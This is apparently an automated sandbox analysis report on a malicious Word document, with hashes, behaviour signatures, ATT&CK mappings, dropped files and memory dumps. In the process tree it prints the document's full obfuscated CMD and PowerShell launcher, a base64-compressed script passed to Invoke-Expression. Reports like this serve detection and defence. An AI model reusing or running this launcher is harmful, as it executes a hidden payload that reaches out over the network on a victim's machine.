d5e5f1c88b98b55284ee3f91dd7380f6e221a336079b2fe669bda50e42e24bb0

Analysis

max time kernel
103s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09-09-2024 14:43

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General

Target

d68746ebcb6ac5af836544b4ce3ae2b3_JaffaCakes118.doc
Size

68KB
MD5

d68746ebcb6ac5af836544b4ce3ae2b3
SHA1

6889ed93be08ac689a3e35fd55bfc5a2b6bb7b9e
SHA256

d5e5f1c88b98b55284ee3f91dd7380f6e221a336079b2fe669bda50e42e24bb0
SHA512

6ed9155d121cfc4f2144fdaab8aa1b1094f7ed46a174f0d3413a6fb386447ca319c997131bffc958be1b39bb1484d8af35c1462f976559befbfd661c9c93e96c
SSDEEP

768:sTBSVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9tcK2tAcnBnip:s9Socn1kp59gxBK85fBt+a96PB

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3544	2816	CMD.exe	81

Blocklisted process makes network request 6 IoCs

flow	pid	Process
29	3660	powershell.exe
32	3660	powershell.exe
34	3660	powershell.exe
36	3660	powershell.exe
40	3660	powershell.exe
45	3660	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2816	WINWORD.EXE
2816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3660	powershell.exe
3660	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3660	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 3544	2816	WINWORD.EXE	85
PID 2816 wrote to memory of 3544	2816	WINWORD.EXE	85
PID 3544 wrote to memory of 3660	3544	CMD.exe	87
PID 3544 wrote to memory of 3660	3544	CMD.exe	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d68746ebcb6ac5af836544b4ce3ae2b3_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\SYSTEM32\CMD.exe
  CMD cmd.EXE /C"SeT OpG= (NEW-objEcT sYsTem.Io.compressiON.DeflaTESTREaM([Io.MemORySTReaM] [CONvErT]::FroMbaSE64STRIng( 'TZBBa8JAEIX/Sg4La0jdHARpXQJiROqhPagghV6SzZisJrtxd2LahPz3bkShl4F535s3zJCdKSMF7VSnZxDofQKyI6RxKUEhJ93mENECsV6EoUWA0qJJZF4gKKlyJnQV2nV8NcuHp21bJ2ZgUQqmAMNV9Tb7D08msWBcVQJcEx6e0DT23BhmmnCW5QUcuycQ0ioQ2lbgMu24kqVujrJ9XUqc0CX1OVntOy/y6Ot8TjnZfX1EBNRtgVDVAf2mwcgDyuAHKD9pA4koJuT9GntSeeONfo/mtyfuF2ytW1XqJNvIEu6eF28M9PlW3fQFplsXeld46nIufBAJiqIfhj8=' ),[io.COMpResSIoN.cOmPRessiONmOde]::deComprEsS ) ^|FOreacH{NEW-objEcT iO.sTreAMREaDer($_ , [TExt.enCoDING]::ASCIi ) }).READtOENd() ^| . ( ([StRiNG]$veRBOsEprEFerenCE)[1,3]+'X'-joiN'')&& pOWeRSHELL . ( ${ENV:`co`mspeC}[4,26,25]-joIn'' ) (( .( \"{0}{1}\" -f'ite','m' ) ( \"{2}{1}{0}\" -f'Opg',':','eNv' ) ).\"Val`UE\" )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOWeRSHELL . ( ${ENV:`co`mspeC}[4,26,25]-joIn'' ) (( .( \"{0}{1}\" -f'ite','m' ) ( \"{2}{1}{0}\" -f'Opg',':','eNv' ) ).\"Val`UE\" )
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDA6BE.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ntsvzaza.opc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
18KB

MD5
e616377c4adac013b0bf7287ef6fec7a

SHA1
4ebe7d606f0ef94e74b0e08038e1e5378675a810

SHA256
bf5421bb875ec7fcfbfc38040b97a44115204c5a27673cb6e411121bf1ed7e0c

SHA512
2b2d57b047f56be65ceae2340e78fa7d9b1cdc7a966bd6aae4dc03c21ec14fa7c4262f7a8dcdc0d157ab7d811ab3423d91b7d9d0ff6864a3c11221b77e741a8b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
memory/2816-17-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-570-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-6-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-44-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-8-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-9-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-10-0x00007FFA85500000-0x00007FFA85510000-memory.dmp

Filesize
64KB

Download
memory/2816-11-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-12-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-13-0x00007FFA85500000-0x00007FFA85510000-memory.dmp

Filesize
64KB

Download
memory/2816-14-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-16-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-18-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-19-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-21-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-20-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-0-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-15-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-4-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-7-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-574-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-50-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-2-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-5-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-70-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-72-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-71-0x00007FFAC7E2D000-0x00007FFAC7E2E000-memory.dmp

Filesize
4KB

Download
memory/2816-73-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-74-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-80-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/2816-1-0x00007FFAC7E2D000-0x00007FFAC7E2E000-memory.dmp

Filesize
4KB

Download
memory/2816-3-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-571-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-572-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-573-0x00007FFA87E10000-0x00007FFA87E20000-memory.dmp

Filesize
64KB

Download
memory/2816-49-0x00007FFAC7D90000-0x00007FFAC7F85000-memory.dmp

Filesize
2.0MB

Download
memory/3660-54-0x000001F630540000-0x000001F630562000-memory.dmp

Filesize
136KB

Download